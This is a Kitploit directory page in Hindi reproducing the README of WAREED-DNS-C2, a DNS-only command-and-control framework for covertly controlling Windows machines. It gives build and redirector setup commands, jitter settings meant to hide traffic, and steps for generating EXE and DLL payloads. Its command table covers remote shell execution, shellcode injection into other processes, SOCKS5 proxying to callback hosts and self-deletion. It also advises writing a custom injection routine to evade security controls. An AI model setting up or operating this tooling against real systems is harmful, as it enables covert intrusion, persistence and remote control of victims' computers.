Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
WAREED-DNS-C2 — DNS-केवल कमांड-एंड-कंट्रोल फ्रेमवर्क जिसमें Windows एजेंट, पेलोड जनरेशन, रिमोट शेल निष्पादन, शेलकोड इंजेक्शन, और गुप्त संचालन के लिए SOCKS5 प्रॉक्सी समर्थन शामिल है। | Kitploit
उपकरण/GitHubGitHub/faisal-p27/wareed-dns-c2
पेलोड जनरेशनआईडीएस/आईपीएस से बचनापोस्ट-शोषणकमांड एंड कंट्रोलरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubfaisal-p27/wareed-dns-c2

WAREED-DNS-C2

DNS-केवल कमांड-एंड-कंट्रोल फ्रेमवर्क जिसमें Windows एजेंट, पेलोड जनरेशन, रिमोट शेल निष्पादन, शेलकोड इंजेक्शन, और गुप्त संचालन के लिए SOCKS5 प्रॉक्सी समर्थन शामिल है।

रिपॉजिटरी देखें
126341 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Wareed DNS C2

यहाँ छवि विवरण दर्ज करें

WAREED एक Command and Control (C2) है जो सर्वर और लक्ष्य के बीच सुरक्षित संचार के लिए DNS प्रोटोकॉल का उपयोग करता है। संचार को न्यूनतम करने और डेटा विनिमय को सीमित करने के लिए डिज़ाइन किया गया, यह पहले-चरण के C2 के रूप में उन मशीनों में बने रहने के लिए है जिनके पास HTTP/HTTPS के माध्यम से इंटरनेट की पहुँच नहीं है, लेकिन जहाँ DNS की अनुमति है।

द्वारा विकसित : @Fsalabduljabbar

यह कैसे काम करता है

यहाँ छवि विवरण दर्ज करें

Wareed क्यों?

जबकि कई Command and Control (C2) फ्रेमवर्क DNS को परिवहन प्रोटोकॉल के रूप में समर्थन करते हैं, वे मुख्य रूप से HTTP/HTTPS के लिए डिज़ाइन किए गए हैं। इन फ्रेमवर्क्स को DNS में स्थानांतरित करने से अक्सर धीमा और कम स्थिर संचालन होता है। DNS लेनदेन के लिए इन फ्रेमवर्क्स की अस्थिरता के साथ कई चुनौतियों का सामना करते हुए, मैं विशेष रूप से DNS के लिए तैयार किया गया समाधान बनाने के लिए विवश था। परिणाम है Wareed—एक DNS-केवल C2 फ्रेमवर्क। यह विशेष ध्यान अधिक स्थिर और कुशल संचालन में परिणामित होता है, जिससे Wareed पारंपरिक C2 फ्रेमवर्क्स की तुलना में तेज़ और अधिक विश्वसनीय बनता है जो मुख्य रूप से DNS के लिए डिज़ाइन नहीं किए गए हैं। यह Wareed को उन वातावरणों के लिए एक आदर्श विकल्प बनाता है जहाँ DNS ट्रैफ़िक की अनुमति है लेकिन HTTP/HTTPS प्रतिबंधित है।

परिचय

इसे तीन प्रोग्रामिंग भाषाओं का उपयोग करके विकसित किया गया है:

  1. Hams Agent C में
  2. Wareed Team server Golang में
  3. Ather Client GUI C++ में

नामों की व्याख्या:

Hams (همس) का अर्थ अरबी में "फुसफुसाहट" है।

Wareed (وريد) का अर्थ अरबी में "नस" है।

Ather (أثر) का अर्थ अरबी में "निशान" है।

डेमो

यहाँ छवि वैकल्पिक पाठ

पूर्वापेक्षाएँ

  1. मान्य नियंत्रित डोमेन नाम
  2. Kali Linux 2023+ या Ubuntu 23+
  3. DNS कनेक्शन संभालने के लिए एक रिडायरेक्टर (Ubuntu) (वैकल्पिक)

स्थापना

चरण 1: Wareed रिपॉजिटरी को क्लोन करें:

root@kitploit:~
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git

चरण 2: सेटअप स्क्रिप्ट चलाएँ:

root@kitploit:~
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup

यदि संकलन प्रक्रिया सफलतापूर्वक पूरी होती है, तो उसी निर्देशिका में दो निष्पादन योग्य फ़ाइलें उत्पन्न होंगी:

  • WareedServer: यह फ़ाइल टीम सर्वर के लिए निष्पादन योग्य के रूप में कार्य करती है
  • Ather: यह फ़ाइल GUI क्लाइंट के लिए निष्पादन योग्य है।

यह Agent की संकलन स्थिति की भी जाँच करेगा। यदि सफल होता है, तो यह पुष्टि करता है कि Agent तैनाती और संचालन के लिए तैयार है, जो Wareed C2 की कार्यक्षमता के लिए महत्वपूर्ण है।

कॉन्फ़िगरेशन

root@kitploit:~
{
    "magic_value": "cdn",
    "domains": ["2.example.net"],
    "listener_port": "111",
    "sleep": 5,
    "jitter": 50,
    "lookup_delay": 5,
    "default_dns_server": "1.1.1.1"
}
  • magic_value: C2 द्वारा उपयोग किया जाने वाला एक अद्वितीय पहचानकर्ता।
  • domains: DNS संचार के लिए C2 द्वारा उपयोग किए जाने वाले डोमेन नामों की एक सरणी।
  • listener_port: वह पोर्ट नंबर जिस पर DNS Team server आने वाले कनेक्शनों के लिए सुनता है।
  • sleep: कार्य अनुरोधों के बीच मूल विलंब।
  • jitter: एक प्रतिशत जो ट्रैफ़िक पैटर्न को छिपाने के लिए स्लीप अंतराल में यादृच्छिकता जोड़ता है।
  • lookup_delay (अक्षम): DNS लुकअप करने से पहले का विलंब, DNS क्वेरी को गति देने और पहचान से बचने के लिए।
  • **default_dns_server **: यदि स्थानीय DNS प्रतिक्रिया नहीं देता है तो Agent द्वारा उपयोग के लिए निर्दिष्ट DNS सर्वर।

magic_value: लंबाई 3 के बराबर होनी चाहिए।

DNS इंफ्रास्ट्रक्चर

DNS सेटअप: Wareed को संचालित करने के लिए एक मान्य डोमेन नाम का होना आवश्यक है। डोमेन प्राप्त करने के बाद, Redirector की ओर इंगित करने के लिए दो DNS रिकॉर्ड कॉन्फ़िगर करने की आवश्यकता है:

  1. A Record: इसे Redirector के IP पते की ओर इंगित करने के लिए सेट किया जाना चाहिए।
  2. NS Record: इसे आपके पहले स्थापित A record की ओर इंगित करना होगा।

उदाहरण

इंफ्रास्ट्रक्चर

Redirector सेटअप: redirector पोर्ट 53 पर आने वाले DNS ट्रैफ़िक को संभालेगा और इसे टीम सर्वर पर पुनर्निर्देशित करेगा। इसे प्राप्त करने के लिए, redirector मशीन (R1) पर निम्नलिखित iptables कमांड निष्पादित करें:

DNS अनुरोध स्वीकार करें:
root@kitploit:~
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT

यह कमांड फ़ायरवॉल को पोर्ट 53 पर आने वाले UDP पैकेट स्वीकार करने के लिए कॉन्फ़िगर करता है, जो DNS अनुरोधों के लिए मानक पोर्ट है।

DNS ट्रैफ़िक पुनर्निर्देशित करें:
root@kitploit:~
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]

[TeamServer IP] को अपने टीम सर्वर के वास्तविक IP पते से बदलें और [teamserver listener port] को उस पोर्ट नंबर से बदलें जिस पर आपका टीम सर्वर सुन रहा है। यह कमांड पोर्ट 53 पर आने वाले सभी ट्रैफ़िक को टीम सर्वर के निर्दिष्ट IP पते और पोर्ट पर निर्देशित करता है।

यहाँ छवि विवरण दर्ज करें

Wareed चलाएँ

Wareed टीम सर्वर

Wareed टीम सर्वर को पहली बार शुरू करने के लिए, आपको क्लाइंट पासवर्ड और उस पोर्ट के साथ कॉन्फ़िगरेशन फ़ाइल निर्दिष्ट करनी होगी जिस पर क्लाइंट सुनेगा। Wareed टीम सर्वर चलाने के लिए निम्न कमांड का उपयोग करें:

root@kitploit:~
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
  • [Client Password]: इस प्लेसहोल्डर को उस पासवर्ड से बदलें जिसका उपयोग क्लाइंट सर्वर के साथ प्रमाणित करने के लिए करेंगे।
  • [Client Port Listener]: इसे उस पोर्ट नंबर से बदलें जहाँ टीम सर्वर क्लाइंट से आने वाले कनेक्शनों के लिए सुनेगा।
  • [Path to configuration file]: प्रारंभिक कॉन्फ़िगरेशन फ़ाइल का पूर्ण पथ प्रदान करें। बाद के रनों में, यह कॉन्फ़िगरेशन डेटाबेस से लोड किया जाएगा, और इसे फिर से निर्दिष्ट करने की आवश्यकता नहीं है।

Ather GUI क्लाइंट

Ather GUI क्लाइंट लॉन्च करने के लिए, बस

root@kitploit:~
./Ather

कमांड चलाने पर, लॉगिन पेज वाली एक नई विंडो दिखाई देगी।

यहाँ छवि विवरण दर्ज करें

लॉगिन विवरण: दिखाई देने वाले लॉगिन पेज में:

  • Username: उपयोगकर्ता नाम दर्ज करें।
  • Password: टीम सर्वर कमांड लाइन में कॉन्फ़िगर किया गया संबंधित पासवर्ड दर्ज करें।
  • Port: वह पोर्ट नंबर दर्ज करें जिस पर टीम सर्वर कनेक्शन के लिए सुन रहा है, जैसा कि टीम सर्वर कमांड लाइन में कॉन्फ़िगर किया गया है।
  • IPAddress: टीम सर्वर का पता दर्ज करें।

Wareed मुख्य विंडो: यहाँ छवि विवरण दर्ज करें

नया पेलोड जनरेट करें

Ather GUI क्लाइंट के साथ नया पेलोड जनरेट करने के लिए, इन चरणों का पालन करें:

  1. पेलोड जनरेशन पर जाएँ:

    • GUI क्लाइंट खोलें।
    • मेनू बार से, Payload > Generate > Windows पर जाएँ। इस विकल्प को चुनने पर पेलोड जनरेशन के लिए तैयार की गई एक नई विंडो खुलेगी।

यहाँ छवि विवरण दर्ज करें

  1. पेलोड प्रकार चुनना: Wareed दो प्रकार के पेलोड जनरेट करने की अनुमति देता है: - EXE: एक निष्पादन योग्य फ़ाइल प्रारूप, तैनाती के लिए सीधा। - DLL: एक डायनेमिक लिंक लाइब्रेरी जिसका उपयोग विभिन्न तरीकों से किया जा सकता है। -

DLL पेलोड विकल्प:

  1. Export Function: एक DLL बनाता है जिसमें विशिष्ट फ़ंक्शन होते हैं जो निष्पादन पर Agent कार्यक्षमता को ट्रिगर करते हैं।
  2. Process Attachment: एक DLL उत्पन्न करता है जो किसी प्रक्रिया से जुड़ने पर तुरंत पेलोड को सक्रिय कर देता है।

सत्र

नया पेलोड जनरेट करने के बाद, एक नया अतिथि सत्र स्वचालित रूप से टीम सर्वर के साथ पंजीकृत होता है। यह पंजीकरण प्रक्रिया सुनिश्चित करती है कि केवल यह विशिष्ट सत्र टीम सर्वर से कनेक्ट हो सके। यह सत्र को प्रमाणित और अधिकृत करने के लिए एक अद्वितीय पहचानकर्ता और 'magic value' का उपयोग करता है। यह तंत्र नए जनरेट किए गए पेलोड और टीम सर्वर के बीच सुरक्षित और नियंत्रित संचार सुनिश्चित करता है। यहाँ छवि विवरण दर्ज करें

पेलोड निष्पादित करें

Windows मशीन पर पेलोड निष्पादित करने के बाद, यह टीम सर्वर के साथ पंजीकरण के लिए DNS क्वेरी उत्पन्न करना शुरू कर देगा। यह पंजीकरण प्रक्रिया सेकंडों के भीतर होती है और आम तौर पर 3 से 5 DNS क्वेरी उत्पन्न करने में शामिल होती है। यहाँ छवि विवरण दर्ज करें

इंटरैक्ट करें

किसी सत्र के साथ इंटरैक्ट करने के लिए, वांछित सत्र पर राइट-क्लिक करें और संदर्भ मेनू से "Interact" चुनें। यह क्रिया एक नया टैब खोलेगी जिसमें एक टर्मिनल इंटरफ़ेस होगा। इस टर्मिनल में, आप कमांड निष्पादित कर सकते हैं यहाँ छवि विवरण दर्ज करें

कमांड्स

नोट: inject कमांड सीधा है लेकिन अक्सर सुरक्षा नियंत्रणों द्वारा पता लगाया जाता है। चुपके को बढ़ाने के लिए, आपको अपनी स्वयं की इंजेक्शन तकनीक लागू करनी चाहिए। Agent/Source/Core/Tasks/Modules/Injection.c में इंजेक्शन कोड को संशोधित करें। इंजेक्शन फ़ंक्शन को अनुकूलित करने के लिए यहाँ एक बुनियादी टेम्पलेट है:

root@kitploit:~
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
	// Add your injection technique here.
	// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
	// and the process ID in [int ProcessID].
 }

डेटाबेस साफ़ करें

डेटाबेस साफ़ करने के लिए, अपने टर्मिनल में निम्न कमांड निष्पादित करें:

root@kitploit:~
./Run clean

आगे की कार्रवाई

हालाँकि मेरी Wareed परियोजना में समय निवेश जारी रखने की कोई तत्काल योजना नहीं है, यह एक अविश्वसनीय सीखने की यात्रा रही है, और मैंने इसका भरपूर आनंद लिया। मैं यह घोषणा करते हुए उत्साहित हूँ कि मैं एक नई बड़ी परियोजना, THAWD BAS शुरू करने की योजना बना रहा हूँ। अधिक जानकारी के लिए, कृपया Thawd.io पर जाएँ।

यदि आपके पास विकास कौशल हैं और Wareed में योगदान करने में रुचि रखते हैं, तो यहाँ कुछ अवसर हैं:

  1. DNS का उपयोग करके एक Stager पेलोड विकसित करें: @C5pider द्वारा एक शानदार परियोजना है जो एक शेलकोड टेम्पलेट प्रदान करती है जो एक बेहतरीन शुरुआती बिंदु है। GitHub पर Stardust देखें।
  2. COFF लोडर और एकीकरण जोड़ें: Wareed फ्रेमवर्क में COFF (Common Object File Format) लोडर को एकीकृत करना बाइनरी मॉड्यूल के गतिशील लोडिंग और निष्पादन को सक्षम करके इसकी क्षमताओं को काफी बढ़ा सकता है, जिससे परिचालन लचीलापन बढ़ता है। इस सुविधा को लागू करने के इच्छुक डेवलपर्स के लिए, Sector7 जैसे संसाधन COFF लोडर कार्यक्षमता पर मूल्यवान अंतर्दृष्टि प्रदान करते हैं, और @C5pider द्वारा ओपन-सोर्स परियोजना CoffeeLdr एक व्यावहारिक कार्यान्वयन उदाहरण प्रदान करता है।

विशेष धन्यवाद

यह कार्य कई उत्कृष्ट ओपन-सोर्स परियोजनाओं के योगदान के बिना पूरा नहीं हो सकता था:

Havoc द्वारा - @C5pider

DNSStager द्वारा - @mohammadaskar2

Boomerang द्वारा - @NinjaParanoid

Socks5Server द्वारा earthquake

delete-self-poc द्वारा - @LloydLabs

टूल डाउनलोड करें
कमांडविवरणउपयोगउदाहरण
helpनिर्दिष्ट कमांड का सहायता संदेश दिखाता है[command]help shell
sleepस्लीप विलंब को जिटर के साथ सेट करता है[delay] [jitter]sleep 10 50
shellcmd.exe कमांड निष्पादित करता है और आउटपुट प्राप्त करता है[commands]shell dir c:\windows\system32 (कृपया ऐसा न करें)
injectरिमोट प्रक्रिया में शेलकोड इंजेक्ट करता है[pid] [shellcode_path]inject 1234 /path/to/shellcode.bin
proxystartSOCKS5 प्रॉक्सी शुरू करता है[callback_host] [agent_connect_port] [proxy_listener_port]proxystart example.com 443 1080
proxystopSOCKS5 प्रॉक्सी रोकता है[callback_host] [agent_connect_port] [proxy_listener_port]proxystop example.com 443 1080
adddomainएक नया कॉलबैक डोमेन जोड़ता है[domain_name]adddomain example.com
deldomainएक कॉलबैक डोमेन हटाता है[domain_name]deldomain example.com
listdomainसभी सक्रिय कॉलबैक डोमेन सूचीबद्ध करता हैlistdomain
killवर्तमान प्रक्रिया को समाप्त करें।[yes]kill yes
wipeवर्तमान प्रक्रिया को समाप्त करें और हटाएँ।[yes]wipe yes
selfdelवर्तमान प्रक्रिया को डिस्क से हटाएँ।[yes]selfdel yes
tasklistसभी कतारबद्ध कार्यों को सूचीबद्ध करता हैtasklist
taskdelID द्वारा किसी विशिष्ट कार्य को हटाएँ[task id]taskdel 123
taskscleanकतार में सभी कार्यों को हटाएँ[yes]tasksclean yes
clearटर्मिनल स्क्रीन साफ़ करेंclear